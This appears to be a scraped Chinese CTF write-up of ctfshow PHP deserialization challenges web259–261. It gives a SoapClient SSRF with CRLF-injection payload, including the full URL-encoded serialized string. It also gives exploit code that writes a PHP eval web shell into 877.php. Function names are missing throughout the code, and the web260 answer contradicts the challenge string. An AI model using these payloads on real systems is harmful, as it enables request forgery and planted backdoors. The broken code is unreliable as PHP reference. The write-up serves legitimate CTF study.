反序列化刷题

Posted kode00

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了反序列化刷题相关的知识,希望对你有一定的参考价值。

web259

 

flag.php
<?php
$xff = (\',\', $_SERVER[\'HTTP_X_FORWARDED_FOR\']);
($xff);
$ip = ($xff);


if($ip!==\'127.0.0.1\')
    die(\'error\');
else
    $token = $_POST[\'token\'];
    if($token==\'ctfshow\')
        (\'flag.txt\',$flag);
    

 

<?php

(__FILE__);


$vip = ($_GET[\'vip\']);
//vip can get flag one key
$vip->getFlag();

这道题考察的是php原生类SoapClient和CRLF注入(CRLF注入知识点:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html)。

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用​​__call​​方法。

SoapClient原生类官方介绍如下:

class SoapClient 
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed

 

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法,这样就可以达到我们伪造请求头的目的。

在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的触发。

首先我们看flag.php。

 

$xff = (\',\', $_SERVER[\'HTTP_X_FORWARDED_FOR\']);
($xff);
$ip = ($xff);

 

explode() 函数可以把字符串打散为数组。

array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。

 

这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个

所以当我们xff传入127.0.0.1时返回为空

当传入127.0.0.2,127.0.0.1时返回127.0.0.2

当传入127.0.1,127.0.2,127.0.3时返回127.0.2

所以我们需要xff构造成127.0.1,127.0.1的形式就可以了。

<?php

(__FILE__);


$vip = ($_GET[\'vip\']);
//vip can get flag one key
$vip->getFlag();

 

接下来我们可以看到index.php中对于传入的vip进行了反序列化,而vip调用了getFlag()方法,在SoapClient原生类中,要是调用一个不存在的方法之后会执行__call魔术方法。

这样我们就可以通过执行__call方法来进行伪造请求获得flag。(这里还进行了CRLF注入)

下面我们进行监听:(这里注意:如果使用的是phpstudy的话去php扩展里面开启soap扩展就行了,如果是其他的话请自行百度,如果没有开soap的话,nc是监听不了的)

<?php
$client=new SoapClient(null,array(\'uri\'=>"127.0.0.1",\'location\'=>"http://127.0.0.1:9999"));
$client->getFlag();  //调用不存在的方法,会自动调用——call()函数来发送请求
?>

 

 

 

 

可以看到我们对于SOAPction进行了注入,但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded),因此我们还要想办法构造一个完整的POST请求。

所以我们可以试试可不可以控制user-agent:

<?php
$ua="1111\\r\\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\\r\\nContent-Type:application/x-www-form-urlencoded\\r\\nContent-Length:13\\r\\n\\r\\ntoken=ctfshow";
$client=new SoapClient(null,array(\'uri\'=>"127.0.0.1",\'location\'=>"http://127.0.0.1:9999",\'user_agent\'=>$ua));
$client->getFlag();  
?>

再进行监听:

 

 

 

 

 

 

 

 

可以看到我们成功注入到了user-agent。

这里我们注意:(1)因为我们设置了Content-Length的值为13,所以超出13个字符以外的都会被服务器丢弃,因此token=ctfshow后面的内容都会被丢弃,我们不需要管。

(2)设置User-Agent时,应写成user_agent, 不然就会出错

(3)因为$ua中用到了\\r\\n这两个换行符,因此要用双引号包裹

(4)HTTP请求头之间的参数用一组\\r\\n分割即可

(5)HTTP请求头与POSTDATA之间要用两个\\r\\n分割。

 

所以我们构造如下:

<?php
$ua = "1111\\r\\nX-Forwarded-For: 127.0.0.1,127.0.0.1\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 13\\r\\n\\r\\ntoken=ctfshow";
$client = new SoapClient(null,array(\'uri\' => \'http://127.0.0.1/\' , \'location\' => \'http://127.0.0.1/flag.php\', \'user_agent\' => $ua));

echo((($client)));

得到Payload:vip?=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%221111%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后再访问flag.txt就可以得到flag。

(这道题的第一想法使用xff伪造ip来获取flag,不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。)

 

 web260

<?php

(0);
(__FILE__);
include(\'flag.php\');

if((\'/ctfshow_i_love_36D/\',($_GET[\'ctfshow\'])))
    echo $flag;

 

 这道题比前面那道简单,只需要get传入的参数序列化后含有ctfshow_i_love_36D就可以了

所以我们只需要传入ctfshow_i_love_35D就可以了

web261

<?php

(__FILE__);

class ctfshowvip
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p)
        $this->username=$u;
        $this->password=$p;
    
    public function __wakeup()
        if($this->username!=\'\' || $this->password!=\'\')
            die(\'error\');
        
    
    public function __invoke()
        eval($this->code);
    

    public function __sleep()
        $this->username=\'\';
        $this->password=\'\';
    
    public function __unserialize($data)
        $this->username=$data[\'username\'];
        $this->password=$data[\'password\'];
        $this->code = $this->username.$this->password;
    
    public function __destruct()
        if($this->code==0x36d)
            ($this->username, $this->password);
        
    


($_GET[\'vip\']);

 这道题我们首先需要知道一些关于__serialize和__unserialize方法的一些知识。
1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize(在php7.4以上才能生效
2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组。(想具体了解__serialize和__unserialize这俩个函数可以看这篇文章 https://blog.csdn.net/yink12138/article/details/122318003)
关于这道题我们可以看到他的php版本为7.4.16,如下(看php版本和一些网站所用的框架我们可以用wappalyzer这个插件):

 

 我们看到他的php版本为7.4.16,所以说__sleep和__wakeup方法的内容我们可以忽略了。

简化后的代码如下:

<?php

(__FILE__);

class ctfshowvip
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p)
        $this->username=$u;
        $this->password=$p;
    
    public function __invoke()
        eval($this->code);
    

    public function __unserialize($data)
        $this->username=$data[\'username\'];
        $this->password=$data[\'password\'];
        $this->code = $this->username.$this->password;
    
    public function __destruct()
        if($this->code==0x36d)
            ($this->username, $this->password);
        
    


($_GET[\'vip\']); 

 

可以看到在__destruct方法中,如果code弱类型等于0x36d就可以将password写入username文件中,0x36d转化完十进制为877,因此我们让username等于877.php,然后将password等于要执行的命令就可以了。

如下:

 

<?php
class ctfshowvip
   public $username;
   public $password;
  public $code;
 public function __construct()
   $this->username=\'877.php\';
   $this->password=\'<?php eval($_POST[a]);?>\';
   
 

$a=new ctfshowvip();
echo (($a));

?>

 

 

 

最后在877.php中找flag就可以了。

 

以上是关于反序列化刷题的主要内容,如果未能解决你的问题,请参考以下文章

[JavaScript 刷题] 树 - 二叉树的序列化与反序列化, leetcode 297

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞

CTFshow刷题日记-WEB-反序列化篇(上,254-263)

LeetCode Java刷题笔记—297. 二叉树的序列化与反序列化

Leetcode刷题Python297. 二叉树的序列化与反序列化

leetcode刷题四十九